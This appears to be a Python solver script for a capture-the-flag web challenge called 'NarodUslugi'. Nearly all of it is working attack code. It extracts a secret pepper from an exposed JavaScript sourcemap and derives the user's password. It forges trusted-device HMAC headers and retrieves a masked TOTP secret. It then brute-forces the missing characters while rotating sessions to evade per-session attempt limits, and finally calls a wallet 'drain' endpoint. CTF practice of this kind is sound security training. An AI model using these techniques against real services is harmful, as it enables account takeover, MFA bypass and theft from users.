Files
Kubok-Regionov/GAME/narod/solver.py
2025-12-22 05:19:38 +03:00

318 lines
10 KiB
Python

#!/usr/bin/env python3
import argparse
import base64
import hashlib
import hmac
import http.cookiejar
import json
import re
import ssl
import struct
import sys
import time
import urllib.error
import urllib.parse
import urllib.request
BASE32_ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567"
def read_target_file(path):
url = None
parta = None
user = None
try:
with open(path, "r", encoding="utf-8") as fh:
for raw in fh:
line = raw.strip()
if not line or line.startswith("#"):
continue
if "=" in line:
key, value = line.split("=", 1)
key = key.strip().lower()
value = value.strip()
if key in ("url", "target", "host"):
url = value
elif key in ("parta", "pwd_part_a", "pwda", "a"):
parta = value
elif key in ("user", "username", "narod_user"):
user = value
else:
if url is None:
url = line
elif parta is None:
parta = line
elif user is None:
user = line
except FileNotFoundError:
return None, None, None
return url, parta, user
def normalize_base(url):
url = (url or "").strip()
if not url:
return ""
if not re.match(r"^https?://", url, re.IGNORECASE):
url = "http://" + url
return url.rstrip("/")
def make_opener(jar, insecure=False):
handlers = [urllib.request.HTTPCookieProcessor(jar)]
if insecure:
ctx = ssl._create_unverified_context()
handlers.append(urllib.request.HTTPSHandler(context=ctx))
return urllib.request.build_opener(*handlers)
def http_request(opener, method, url, data=None, headers=None, timeout=10):
headers = dict(headers or {})
body = None
if data is not None:
if isinstance(data, dict):
body = urllib.parse.urlencode(data).encode("utf-8")
headers.setdefault("Content-Type", "application/x-www-form-urlencoded")
elif isinstance(data, (bytes, bytearray)):
body = data
else:
body = str(data).encode("utf-8")
req = urllib.request.Request(url, data=body, headers=headers, method=method)
try:
with opener.open(req, timeout=timeout) as resp:
return resp.getcode(), resp.headers, resp.read()
except urllib.error.HTTPError as exc:
return exc.code, exc.headers, exc.read()
def extract_username(html_text):
m = re.search(r'name="username"[^>]*placeholder="([^"]+)"', html_text, re.IGNORECASE)
return m.group(1) if m else None
def extract_pepper_xor_hex(map_text):
try:
data = json.loads(map_text)
except json.JSONDecodeError:
return None
for src in data.get("sourcesContent", []):
m = re.search(r'pepper_xor_hex\s*=\s*"([0-9a-fA-F]+)"', src)
if m:
return m.group(1).lower()
return None
def derive_part_b(user, pepper_xor_hex):
mask = hashlib.sha1(user.encode("utf-8")).digest()[:6]
pepper_bytes = bytes.fromhex(pepper_xor_hex)
out = bytes(pepper_bytes[i] ^ mask[i % len(mask)] for i in range(len(pepper_bytes)))
return out.decode("utf-8", errors="replace")
def derive_pass(parta, partb):
material = f"{parta}:{partb}".encode("utf-8")
return hashlib.sha1(material).hexdigest()[:12]
def trusted_headers(pass_hash):
ts = str(int(time.time()))
sig = hmac.new(pass_hash.encode("utf-8"), ts.encode("utf-8"), hashlib.sha1).hexdigest()
return {"X-TS": ts, "X-Trusted-Device": sig}
def base32_decode(secret_b32):
secret = re.sub(r"[^A-Z2-7]", "", secret_b32.upper())
pad = "=" * ((8 - (len(secret) % 8)) % 8)
return base64.b32decode(secret + pad, casefold=True)
def hotp(secret_bytes, counter):
msg = struct.pack(">Q", counter)
digest = hmac.new(secret_bytes, msg, hashlib.sha1).digest()
offset = digest[-1] & 0x0F
code = struct.unpack(">I", digest[offset:offset + 4])[0] & 0x7FFFFFFF
return f"{code % 1_000_000:06d}"
def totp(secret_b32, timestamp, step=30):
key = base32_decode(secret_b32)
counter = int(timestamp // step)
return hotp(key, counter)
def fetch_server_offset(opener, base_url):
status_url = base_url + "/__status__"
code, _, body = http_request(opener, "GET", status_url)
if code != 200:
return 0.0
try:
data = json.loads(body.decode("utf-8"))
server_ms = float(data.get("now", 0))
if server_ms:
return (server_ms / 1000.0) - time.time()
except (ValueError, json.JSONDecodeError):
pass
return 0.0
def login(opener, base_url, user, password, trusted=False):
headers = {}
if trusted:
headers.update(trusted_headers(password))
data = {"username": user, "password": password}
return http_request(opener, "POST", base_url + "/login", data=data, headers=headers)
def get_masked_secret(opener, base_url):
headers = {"Referer": base_url + "/profile"}
code, _, body = http_request(
opener,
"GET",
base_url + "/profile/export?fmt=ini",
headers=headers,
)
if code != 200:
return None
text = body.decode("utf-8", errors="replace")
m = re.search(r"otp_secret=([A-Z2-7?]+)", text)
return m.group(1) if m else None
def iter_candidates(masked_secret):
if not masked_secret or not masked_secret.endswith("??"):
return
prefix = masked_secret[:-2].upper()
for a in BASE32_ALPHABET:
for b in BASE32_ALPHABET:
yield prefix + a + b
def mfa_attempt(opener, base_url, otp_code):
code, _, body = http_request(
opener,
"POST",
base_url + "/mfa",
data={"otp": otp_code},
)
if code == 200 and b"/wallet" in body:
return True
return False
def fetch_flag(opener, base_url):
code, _, body = http_request(opener, "GET", base_url + "/wallet/drain")
if code != 200:
return None, None
text = body.decode("utf-8", errors="replace")
flag = None
game_code = None
m_flag = re.search(r"flag\{[^}]+\}", text)
if m_flag:
flag = m_flag.group(0)
m_code = re.search(r"game_code:[a-z0-9_:-]+", text)
if m_code:
game_code = m_code.group(0)
return flag, game_code
def main():
parser = argparse.ArgumentParser(description="NarodUslugi solver")
parser.add_argument("--target-file", default="target.txt", help="File with target URL (default: target.txt)")
parser.add_argument("--url", help="Base URL, e.g. http://host:7000")
parser.add_argument("--parta", help="PWD_PART_A value")
parser.add_argument("--user", help="Override username")
parser.add_argument("--insecure", action="store_true", help="Disable TLS verification")
parser.add_argument("--max-per-session", type=int, default=80, help="Max OTP attempts per session")
args = parser.parse_args()
file_url, file_parta, file_user = read_target_file(args.target_file)
base_url = normalize_base(args.url or file_url)
parta = args.parta or file_parta
user = args.user or file_user
if not base_url:
print("Missing target URL. Provide --url or create target.txt.", file=sys.stderr)
sys.exit(1)
jar = http.cookiejar.CookieJar()
opener = make_opener(jar, insecure=args.insecure)
code, _, body = http_request(opener, "GET", base_url + "/")
if code != 200:
print(f"Failed to load login page: {code}", file=sys.stderr)
sys.exit(1)
html = body.decode("utf-8", errors="replace")
if not user:
user = extract_username(html)
if not user:
print("Failed to detect username; pass --user or add to target file.", file=sys.stderr)
sys.exit(1)
code, _, body = http_request(opener, "GET", base_url + "/assets/app.js.map")
if code != 200:
print(f"Failed to fetch sourcemap: {code}", file=sys.stderr)
sys.exit(1)
pepper_xor_hex = extract_pepper_xor_hex(body.decode("utf-8", errors="replace"))
if not pepper_xor_hex:
print("Failed to extract pepper_xor_hex from sourcemap.", file=sys.stderr)
sys.exit(1)
partb = derive_part_b(user, pepper_xor_hex)
if not parta:
print("Missing PWD_PART_A; pass --parta or add to target file.", file=sys.stderr)
sys.exit(1)
password = derive_pass(parta, partb)
# Trusted login to get masked OTP secret.
trusted_jar = http.cookiejar.CookieJar()
trusted_opener = make_opener(trusted_jar, insecure=args.insecure)
code, _, _ = login(trusted_opener, base_url, user, password, trusted=True)
if code == 429:
print("Trusted-device login blocked (active trust). Try later or from new IP.", file=sys.stderr)
sys.exit(1)
if code != 200:
print(f"Trusted-device login failed: {code}", file=sys.stderr)
sys.exit(1)
masked_secret = get_masked_secret(trusted_opener, base_url)
if not masked_secret:
print("Failed to retrieve masked OTP secret.", file=sys.stderr)
sys.exit(1)
offset = fetch_server_offset(opener, base_url)
attempts = 0
session_opener = None
for candidate in iter_candidates(masked_secret):
if session_opener is None or attempts >= args.max_per_session:
session_jar = http.cookiejar.CookieJar()
session_opener = make_opener(session_jar, insecure=args.insecure)
code, _, _ = login(session_opener, base_url, user, password, trusted=False)
if code != 200:
print(f"Login failed during brute-force: {code}", file=sys.stderr)
sys.exit(1)
attempts = 0
now = time.time() + offset
otp = totp(candidate, now)
if mfa_attempt(session_opener, base_url, otp):
flag, game_code = fetch_flag(session_opener, base_url)
print(f"user={user}")
print(f"pass={password}")
print(f"otp_secret={candidate}")
if flag:
print(flag)
if game_code:
print(game_code)
return
attempts += 1
print("OTP secret not found in search space.", file=sys.stderr)
sys.exit(1)
if __name__ == "__main__":
main()